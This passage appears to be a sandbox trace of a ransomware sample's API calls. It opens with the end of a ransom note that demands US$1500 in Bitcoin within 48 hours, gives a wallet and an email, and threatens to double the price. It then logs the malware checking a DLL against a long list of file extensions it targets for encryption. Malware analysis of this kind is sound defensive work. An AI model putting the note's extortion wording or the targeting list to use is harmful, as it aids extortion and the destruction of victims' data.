happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.709] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.710] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.711] CloseHandle (hObject=0x90) returned 1 [0112.711] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\", lpString2="System.IdentityModel.Selectors.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll" [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ems") returned 0 [0112.711] lstrlenA (lpString="*.ems") returned 5 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.db") returned 0 [0112.711] lstrlenA (lpString="*.db") returned 4 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbf") returned 0 [0112.711] lstrlenA (lpString="*.dbf") returned 5 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myox") returned 0 [0112.711] lstrlenA (lpString="*.myox") returned 6 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myo") returned 0 [0112.711] lstrlenA (lpString="*.myo") returned 5 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbw") returned 0 [0112.711] lstrlenA (lpString="*.qbw") returned 5 [0112.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbb") returned 0 [0112.712] lstrlenA (lpString="*.qbb") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbm") returned 0 [0112.712] lstrlenA (lpString="*.qbm") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbo") returned 0 [0112.712] lstrlenA (lpString="*.qbo") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbx") returned 0 [0112.712] lstrlenA (lpString="*.qbx") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qba") returned 0 [0112.712] lstrlenA (lpString="*.qba") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qby") returned 0 [0112.712] lstrlenA (lpString="*.qby") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbj") returned 0 [0112.712] lstrlenA (lpString="*.qbj") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ofx") returned 0 [0112.712] lstrlenA (lpString="*.ofx") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qif") returned 0 [0112.712] lstrlenA (lpString="*.qif") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mye") returned 0 [0112.712] lstrlenA (lpString="*.mye") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mbox") returned 0 [0112.712] lstrlenA (lpString="*.mbox") returned 6 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0112.712] lstrlenA (lpString="*.eml") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pst") returned 0 [0112.712] lstrlenA (lpString="*.pst") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ost") returned 0 [0112.712] lstrlenA (lpString="*.ost") returned 5 [0112.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.idx") returned 0 [0112.712] lstrlenA (lpString="*.idx") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbx") returned 0 [0112.713] lstrlenA (lpString="*.dbx") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.sql") returned 0 [0112.713] lstrlenA (lpString="*.sql") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mdb") returned 0 [0112.713] lstrlenA (lpString="*.mdb") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.fdb") returned 0 [0112.713] lstrlenA (lpString="*.fdb") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.wab") returned 0 [0112.713] lstrlenA (lpString="*.wab") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dat") returned 0 [0112.713] lstrlenA (lpString="*.dat") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.txt") returned 0 [0112.713] lstrlenA (lpString="*.txt") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpeg") returned 0 [0112.713] lstrlenA (lpString="*.jpeg") returned 6 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpg") returned 0 [0112.713] lstrlenA (lpString="*.jpg") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.png") returned 0 [0112.713] lstrlenA (lpString="*.png") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.php") returned 0 [0112.713] lstrlenA (lpString="*.php") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cs") returned 0 [0112.713] lstrlenA (lpString="*.cs") returned 4 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cpp") returned 0 [0112.713] lstrlenA (lpString="*.cpp") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.rar") returned 0 [0112.713] lstrlenA (lpString="*.rar") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.zip") returned 0 [0112.713] lstrlenA (lpString="*.zip") returned 5 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.html") returned 0 [0112.713] lstrlenA (lpString="*.html") returned 6 [0112.713] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.htm") returned 0 [0112.714] lstrlenA (lpString="*.htm") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xlsx") returned 0 [0112.714] lstrlenA (lpString="*.xlsx") returned 6 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xls") returned 0 [0112.714] lstrlenA (lpString="*.xls") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mp4") returned 0 [0112.714] lstrlenA (lpString="*.mp4") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ppt") returned 0 [0112.714] lstrlenA (lpString="*.ppt") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pptx") returned 0 [0112.714] lstrlenA (lpString="*.pptx") returned 6 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.doc") returned 0 [0112.714] lstrlenA (lpString="*.doc") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dot") returned 0 [0112.714] lstrlenA (lpString="*.dot") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.docx") returned 0 [0112.714] lstrlenA (lpString="*.docx") returned 6 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.7z") returned 0 [0112.714] lstrlenA (lpString="*.7z") returned 4 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.tar") returned 0 [0112.714] lstrlenA (lpString="*.tar") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.bz2") returned 0 [0112.714] lstrlenA (lpString="*.bz2") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.gz") returned 0 [0112.714] lstrlenA (lpString="*.gz") returned 4 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mkv") returned 0 [0112.714] lstrlenA (lpString="*.mkv") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0112.714] lstrlenA (lpString="*.eml") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.msg") returned 0 [0112.714] lstrlenA (lpString="*.msg") returned 5 [0112.714] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.edb") returned 0 [0112.715] lstrlenA (lpString="*.edb") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.accdb") returned 0 [0112.715] lstrlenA (lpString="*.accdb") returned 7 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.odb") returned 0 [0112.715] lstrlenA (lpString="*.odb") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.java") returned 0 [0112.715] lstrlenA (lpString="*.java") returned 6 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.asm") returned 0 [0112.715] lstrlenA (lpString="*.asm") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pfx") returned 0 [0112.715] lstrlenA (lpString="*.pfx") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pem") returned 0 [0112.715] lstrlenA (lpString="*.pem") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.p12") returned 0 [0112.715] lstrlenA (lpString="*.p12") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.gpg") returned 0 [0112.715] lstrlenA (lpString="*.gpg") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.vsd") returned 0 [0112.715] lstrlenA (lpString="*.vsd") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.odg") returned 0 [0112.715] lstrlenA (lpString="*.odg") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.raw") returned 0 [0112.715] lstrlenA (lpString="*.raw") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.nef") returned 0 [0112.715] lstrlenA (lpString="*.nef") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.svg") returned 0 [0112.715] lstrlenA (lpString="*.svg") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.psd") returned 0 [0112.715] lstrlenA (lpString="*.psd") returned 5 [0112.715] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.vmx") returned 0 [0112.716] lstrlenA (lpString="*.vmx") returned 5 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.vmdk") returned 0 [0112.716] lstrlenA (lpString="*.vmdk") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.vdi") returned 0 [0112.716] lstrlenA (lpString="*.vdi") returned 5 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.lay6") returned 0 [0112.716] lstrlenA (lpString="*.lay6") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mpeg") returned 0 [0112.716] lstrlenA (lpString="*.mpeg") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.djvu") returned 0 [0112.716] lstrlenA (lpString="*.djvu") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.tiff") returned 0 [0112.716] lstrlenA (lpString="*.tiff") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.backup") returned 0 [0112.716] lstrlenA (lpString="*.backup") returned 8 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pdf") returned 0 [0112.716] lstrlenA (lpString="*.pdf") returned 5 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cert") returned 0 [0112.716] lstrlenA (lpString="*.cert") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.docm") returned 0 [0112.716] lstrlenA (lpString="*.docm") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xlsm") returned 0 [0112.716] lstrlenA (lpString="*.xlsm") returned 6 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dwg") returned 0 [0112.716] lstrlenA (lpString="*.dwg") returned 5 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.nd") returned 0 [0112.716] lstrlenA (lpString="*.nd") returned 4 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.tlg") returned 0 [0112.716] lstrlenA (lpString="*.tlg") returned 5 [0112.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.lgb") returned 0 [0112.717] lstrlenA (lpString="*.lgb") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mov") returned 0 [0112.717] lstrlenA (lpString="*.mov") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xdw") returned 0 [0112.717] lstrlenA (lpString="*.xdw") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ods") returned 0 [0112.717] lstrlenA (lpString="*.ods") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.wav") returned 0 [0112.717] lstrlenA (lpString="*.wav") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mp3") returned 0 [0112.717] lstrlenA (lpString="*.mp3") returned 5 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.aiff") returned 0 [0112.717] lstrlenA (lpString="*.aiff") returned 6 [0112.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.flac") returned 0 [0112.717] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e7c10d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6e7c10d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6e7c10d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.717] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.717] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="559a3dee015d005c199f3867b10f5bbc", cAlternateFileName="559A3D~1")) returned 0 [0112.718] FindClose (in: 